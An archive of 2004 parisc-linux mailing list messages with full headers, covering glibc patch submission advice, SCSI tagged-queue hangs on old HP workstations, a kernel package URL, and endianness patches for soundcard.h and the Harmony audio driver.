Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1Aumep-00005h-00; Sun, 22 Feb 2004 01:00:03 -0500
Content-Disposition: inline
In-Reply-To: <4037AB13.3050908@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (35% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 06:01:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20904

On Sat, Feb 21, 2004 at 07:01:39PM +0000, Joel Soete wrote:
> It takes me some more time because I would test patch by patch with gcc-3.3 
> if nothing was broken.
> But all those patch seems ok with gcc-3.3 (just have to revert it and 
> re-run with make -k check ;) )

Yes, it is a lot of work. The fame will all be yours though.
 
> So I have to figure out what goes wrong in "relocation". Can you help me by 
> pointing out some files and may functions to specialy analyse :).

My haiku was really intended to be a joke. Anything could be wrong with
the loader, you have to run it through gdb to get a usefull trace. Even
then you won't have symbols and you'll have to learn to decode the
address from /proc/self/maps and an 'objdump -d xxxxxx.so'. From there
you can find the offending code, go back to the code and examine if it
does anything odd... perhaps isolate what the code does in a testcase
that gcc-3.5 does incorreclty.
 
> BTW: The previous mentioned patch are (afaik) of general interest (not hppa 
> specific) but would you like that I submit you first so that you could 
> submit it to glibc maintainers or do you prefer that i manage that myself?

You should:

a. Make sure that i386 builds with your patches, and passes the
   testsuite without regressions.
b. Cleanup the patches, make *sure* your mailer doesn't wrap them, the
   previous patches were wrapped and broken.
c. Write a 'Changelog' entry for the changes, and describe why you are
   making these changes (e.g. compiling with gcc-3.5). These entries
   have a very special format, look closely, and follow the GNU coding
   convetions.
d. Submit them separately, with a description, changelog, and inline
   patch to the libc-alpha mailing list.

This will be a wonderful learning experience! :)

c.



From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Sun, 22 Feb 2004 01:04:56 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20040222060456.GJ25019@baldric.uwo.ca>
References: <20040218235225.GA1623@calypso>
	<20040219062907.GC13916@colo.lackof.org>
	<20040221075849.GA1642@calypso>
	<20040221170508.GB14198@baldric.uwo.ca>
	<20040221182436.GM11824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623213 5798 80.91.229.3 (22 Nov 2014 02:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: carlos@baldric.uwo.ca  Sat Feb 21 23:05:37 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 140D3488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 23:05:37 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AumjZ-00006c-00; Sun, 22 Feb 2004 01:04:57 -0500
Content-Disposition: inline
In-Reply-To: <20040221182436.GM11824@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (35% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 06:05:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20905

On Sat, Feb 21, 2004 at 06:24:36PM +0000, Matthew Wilcox wrote:
> > I could never run IO stably at anything higher than 1. The drives don't
> > seem to handle it properly, the error recovery mechanisms seem less
> > than perfect, and the box just hangs.
> 
> So, um, maybe we should change the default?  Nobody seems to be
> investigating why this happens, so I don't see why our users should
> suffer.  I doubt anyone's going to be terribly motivated to track this
> problem down for such old machines, so let's just sacrifice a little
> performance for stability.

It just doesn't work on those older boxes? I'm not quite sure how much
more investigation I can do. I mean I've got my 715/50's all running, I
could build a few more kernels and see what's going on.

I could also commit a change to lower the max tags down to 1, that seems
a little harsh for performance, but all those perf people can crank it
back up. Perhaps a build time configure option?

c.



From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Sat, 21 Feb 2004 23:21:05 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20040222062105.GF30849@colo.lackof.org>
References: <20040218235225.GA1623@calypso>
	<20040219062907.GC13916@colo.lackof.org>
	<20040221075849.GA1642@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623214 5800 80.91.229.3 (22 Nov 2014 02:26:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: grundler@lackof.org  Sat Feb 21 23:21:06 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C346488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 23:21:06 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id E1EA229805A; Sat, 21 Feb 2004 23:21:05 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 01614-10; Sat, 21 Feb 2004 23:21:05 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 13D09298059; Sat, 21 Feb 2004 23:21:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040221075849.GA1642@calypso>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 06:21:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20906

On Sat, Feb 21, 2004 at 07:58:49AM +0000, Stuart Brady wrote:
> Thanks! Changing NCR_700_MAX_TAGS to 1 in drivers/scsi/53c700.h did the
> trick. Will I now have poor disk performance? If so, might I get away
> with setting it to something higher, like 2 or 4, maybe?

You can try, but I don't think it's worth it.

> I've not heard of tagged command queues before - the idea seems to be to
> transfer data to the drive as early as possible, but make decisions as
> to what should be written first at a later stage. Is that correct?

Sort of yes. The reasons are a bit more complicated than that.
Key reasons are better utilization of disk buffer (w/o enabling WCE)
and allow disk firmware to optimize for maximum throughput.
There are tradeoffs and caveats to both.

> > Maybe a FAQ entry for "715/xxx hangs" could be your first contribution?
> 
> That's a good idea. Where should I send the entry? Here?

Yes please. Making a diff against the file carlos pointed at
would be easiest for me. But I'll take a single paragraph
in plain text as well.

The FAQ entry should mention which machines/SCSI controllers/disks
are affected and how to set the queuedepth. Anything else is
extra credit and I reserve the right to edit it out. :^)

thanks,
grant

> -- 
> Stuart Brady
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: can't compile 2.4.24: pdc_cons.o problem!
Date: Sat, 21 Feb 2004 23:51:00 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20040222065100.GG30849@colo.lackof.org>
References: <1077183184.403482d04a190@clients.latnet.lv>
	<20040222005241.GA30849@colo.lackof.org>
	<20040222012033.GN11824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623214 5801 80.91.229.3 (22 Nov 2014 02:26:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:54 +0000 (UTC)
Cc: dub@latnet.lv, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: grundler@lackof.org  Sat Feb 21 23:51:01 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DA24488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 23:51:01 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id E513D29805A; Sat, 21 Feb 2004 23:51:00 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 02333-03; Sat, 21 Feb 2004 23:51:00 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 40AC0298059; Sat, 21 Feb 2004 23:51:00 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040222012033.GN11824@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 06:51:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20907

On Sun, Feb 22, 2004 at 01:20:33AM +0000, Matthew Wilcox wrote:
> deb http://cvs.parisc-linux.org/downloads/autobuild-kernels/ 32/
> 
> should do the trick, but I think you have the URL wrong.  I get:
> 
> /downloads/autobuild-kernels/32: unknown location

oopps...my bad. It's "download" (without 's')
And I confirmed the following sources.list line works:

deb http://cvs.parisc-linux.org/download/autobuild-kernels/ 32/

apt-get update says:
Hit http://cvs.parisc-linux.org 32/ Packages                                   
Ign http://cvs.parisc-linux.org 32/ Release                                    

And dselect doesn't see the kernel-image-2.4.25-pa0 .deb.
(I ran "update" from dselect menu)

DOH! two things:
1) I'm doing this on an a500 - use 64/ instead
2) packages are called "palinux-64-2.4...." (not "kernel-image-2.4...")

hrmm...dselect is getting:
Err http://cvs.parisc-linux.org 64/ palinux-64-2.4.25-pa0 0-2        
  404 Not Found
...
Failed to fetch http://cvs.parisc-linux.org/download/autobuild-kernels/./palinux-64-2.4.25-pa0_0-2_all.deb  404 Not Found
E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?

OIC... '64/' is missing. Ideas?

thanks,
grant


From - Thu Nov 08 21:31:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] include/linux/soundcard.h endian fix
Date: Sun, 22 Feb 2004 07:01:50 +0000
Lines: 69
Approved: news@gmane.org
Message-ID: <20040222070150.GA773@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623214 5804 80.91.229.3 (22 Nov 2014 02:26:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: sdbrady@ntlworld.com  Sun Feb 22 00:01:51 2004
Return-Path: <sdbrady@ntlworld.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta04-svc.ntlworld.com (mta04-svc.ntlworld.com [62.253.162.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26AEF488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 00:01:51 -0700 (MST)
Original-Received: from calypso ([62.254.21.7]) by mta04-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040222070139.BWPE20489.mta04-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 07:01:39 +0000
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1Auncc-0000ef-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 07:01:50 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Stuart Brady <sdbrady@ntlworld.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 07:01:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20908

Hi,

It seems that <linux/soundcard.h> defines AFMT_S16_NE as AFMT_S16_LE on
hppa. Both GCC 3.0 and 3.3 predefine __hppa__, but not HPPA. IMO, the
bug is in soundcard.h, not GCC.

Index: soundcard.h
===================================================================
RCS file: /var/cvs/linux-2.4/include/linux/soundcard.h,v
retrieving revision 1.6
diff -u -r1.6 soundcard.h
--- soundcard.h	26 Jun 2003 15:08:08 -0000	1.6
+++ soundcard.h	21 Feb 2004 16:04:12 -0000
@@ -179,7 +179,7 @@
  * Some big endian/little endian handling macros
  */
 
-#if defined(_AIX) || defined(AIX) || defined(sparc) || defined(__sparc__) || defined(HPPA) || defined(PPC) || defined(__mc68000__)
+#if defined(_AIX) || defined(AIX) || defined(sparc) || defined(__sparc__) || defined(HPPA) || defined(__hppa__) || defined(PPC) || defined(__powerpc__) || defined(__mc68000__)
 /* Big endian machines */
 #  define _PATCHKEY(id) (0xfd00|id)
 #  define AFMT_S16_NE AFMT_S16_BE

I've added __powerpc__ too, because PPC won't be defined if you compiled
with -ansi.

I noticed this problem when looking at Timidity, which was writing big
endian data with AFMT_S16_NE. The OSS 1.1 API Spec[1] (page 38) states:

"The AFMT_S16_NE format can be used when a program wants to encode or
decode 16-bit samples locally. It automatically selects the right format
for the CPU architecture being compiled for. In this way it's usually
possible to simply use signed short format to store the samples."

This doesn't really seem to make _solid_ promises that the format
matches the architecture's endianness - "Right format?" "Usually?"
I wonder whether Timidity is making an incorrect assumption?

Would it be better to do the following? :

#ifdef(__BYTE_ORDER)
#  if defined(__BIG_ENDIAN)
#    if __BYTE_ORDER == __BIG_ENDIAN
#      define AFMT_S16_NE AFMT_S16_BE
#    endif
#  elif defined(__LITTLE_ENDIAN)
#    if __BYTE_ORDER == __LITTLE_ENDIAN
#      define AFMT_S16_NE AFMT_S16_LE
#    endif
#  end if
#endif

After this, if AFMT_S16_NE is not defined, it might be worth checking
the appropriate system-specific predefined macros[2]. If it's still not
defined, I think is that it's better _not_ to assume little endian. I've
left out __PDP_ENDIAN - I doubt anything uses it these days.


[1] http://www.opensound.com/pguide/oss.pdf

[2] Big endian: _AIX, AIX, sparc, __sparc__, __mc68000__, __m68k__,
MIPSEB, __MIPSEB__, __ARMEB, HPPA, __hppa__, PPC, __ppc_, __PPC__,
__powerpc__. Little endian: i386, __i386__, __x86_64__, __amd64__,
__sh__, __vax__ (yes, really!), MIPSEL, __MIPSEL__, and __ARMEL__,
__alpha, __alpha__, __ia64__. It seems that ppc, hppa, ia64, alpha,
sparc, mips, arm and superh have both big and little endian modes.
-- 
Stuart Brady


From - Thu Nov 08 21:31:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Harmony driver - Reject AFMT_S16_LE (Little
	Endian)
Date: Sun, 22 Feb 2004 09:20:57 +0000
Lines: 57
Approved: news@gmane.org
Message-ID: <20040222092057.GA2590@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623215 5806 80.91.229.3 (22 Nov 2014 02:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: sdbrady@ntlworld.com  Sun Feb 22 02:20:57 2004
Return-Path: <sdbrady@ntlworld.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta04-svc.ntlworld.com (mta04-svc.ntlworld.com [62.253.162.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4644488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 02:20:56 -0700 (MST)
Original-Received: from calypso ([62.254.21.7]) by mta04-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040222092045.JGIZ20489.mta04-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 09:20:45 +0000
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1AupnF-0000iw-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 09:20:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Stuart Brady <sdbrady@ntlworld.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 09:20:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20909

Hello,

The OSS specification (http://www.opensound.com/pguide/oss.pdf -
page 33) states:

"It is very important to check that the value returned in the argument
after the [SNDCTL_DSP_SETFMT] ioctl call matches the requested format.
If the device doesn't support this particular format, it rejects the
call and returns another format that is supported by the hardware."

I would suggest the following change to the Harmony driver:

Index: harmony.c
===================================================================
RCS file: /var/cvs/linux-2.4/drivers/sound/harmony.c,v
retrieving revision 1.28
diff -u -r1.28 harmony.c
--- harmony.c	22 Jun 2002 09:05:59 -0000	1.28
+++ harmony.c	22 Feb 2004 05:35:46 -0000
@@ -641,14 +641,14 @@
 			switch (ival) {
 			case AFMT_MU_LAW:	new_format = HARMONY_DF_8BIT_ULAW; break;
 			case AFMT_A_LAW:	new_format = HARMONY_DF_8BIT_ALAW; break;
-			case AFMT_S16_LE:	/* fall through, but not really supported */
-			case AFMT_S16_BE:	new_format = HARMONY_DF_16BIT_LINEAR;
-						ival = AFMT_S16_BE;
-						break; 
+			case AFMT_S16_BE:	new_format = HARMONY_DF_16BIT_LINEAR; break;
 			default: {
 				DPRINTK(KERN_WARNING PFX 
 					"unsupported sound format 0x%04x requested.\n",
 					ival);
+				ival = AFMT_S16_BE;
+				if (put_user(ival, (int *) arg))
+					return -EFAULT;
 				return -EINVAL;
 			}
 			}

Since mu-law and a-law aren't the most popular of formats, I think
AFMT_S16_BE (signed, 16-bit, big endian) is the best thing to return.
Some drivers don't seem to return a supported format in arg - I'm not
sure why. At the very least, I think -EINVAL should be returned, and the
format should not be set. (Unless of course, the driver actually _does_
the conversion - okay if I implement this?)

This change may break some apps. The soundcard.h fix might make a
significant difference. Anything else was writing big endian data using
a little endian format.

One question: are there any audio devices for hppa that need drivers,
that have documentation? I see that audio on the J5k/C3k is unsupported,
but there are apparently no docs for it. Audio on the 705 and 710 doesn't
seem supported either. Again, no docs AFAICS.
-- 
Stuart Brady


From - Thu Nov 08 21:31:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Harmony driver - Reject AFMT_S16_LE
	(Little Endian)
Date: Sun, 22 Feb 2004 10:30:16 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20040222103016.GA2815@calypso>
References: <20040222092057.GA2590@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623215 5807 80.91.229.3 (22 Nov 2014 02:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: sdbrady@ntlworld.com  Sun Feb 22 03:30:16 2004
Return-Path: <sdbrady@ntlworld.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta04-svc.ntlworld.com (mta04-svc.ntlworld.com [62.253.162.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85B3D488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 03:30:15 -0700 (MST)
Original-Received: from calypso ([62.254.21.7]) by mta04-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040222103004.NFWK20489.mta04-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 10:30:04 +0000
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1AuqsK-0000kQ-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 10:30:16 +0000
Content-Disposition: inline
In-Reply-To: <20040222092057.GA2590@calypso>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Stuart Brady <sdbrady@ntlworld.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 10:30:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20910

I said:

> One question: are there any audio devices for hppa that need drivers,
> that have documentation? I see that audio on the J5k/C3k is unsupported,
> but there are apparently no docs for it. Audio on the 705 and 710 doesn't
> seem supported either. Again, no docs AFAICS.

I do apologise - I've now noticed that there _is_ a AD1889 driver,
although I don't know whether it works on hppa.

http://lists.parisc-linux.org/pipermail/parisc-linux/2002-January/015138.html
looks quite useful - I'll have to see if I can get docs on the PSB2160.

It's interesting that the 720/730/750 has 3 channel beeper sound. Could
someone tell me the name of the chip, please?

http://members.chello.nl/h.otten/vortexion.htm has a list of popular
sound chips for microcomputers in the 80s. It'd be great if it turned
out to be an AY-3-8910, YM2149 or SN76489, as there's a lot of music
that's been written for those chips.
-- 
Stuart Brady


From - Thu Nov 08 21:31:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unknown symbol eisa_in8
Date: Sun, 22 Feb 2004 12:49:09 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <40389735.2070702@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623215 5810 80.91.229.3 (22 Nov 2014 02:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: rscholz@hrzpub.tu-darmstadt.de  Sun Feb 22 04:48:14 2004
Return-Path: <rscholz@hrzpub.tu-darmstadt.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de
	(mailserver1.hrz.tu-darmstadt.de [130.83.126.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8057B488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 04:48:13 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de (dialin1.stud.tu-darmstadt.de
	[130.83.60.1])
	by mailserver1.hrz.tu-darmstadt.de (8.12.10/8.12.8) with ESMTP id
	i1MBm3Pk011337 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 12:48:04 +0100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT;
	rv:1.6) Gecko/20040113
X-Accept-Language: de-de, de, en-us, en
X-TUD-HRZ-MailScanner: Found to be clean
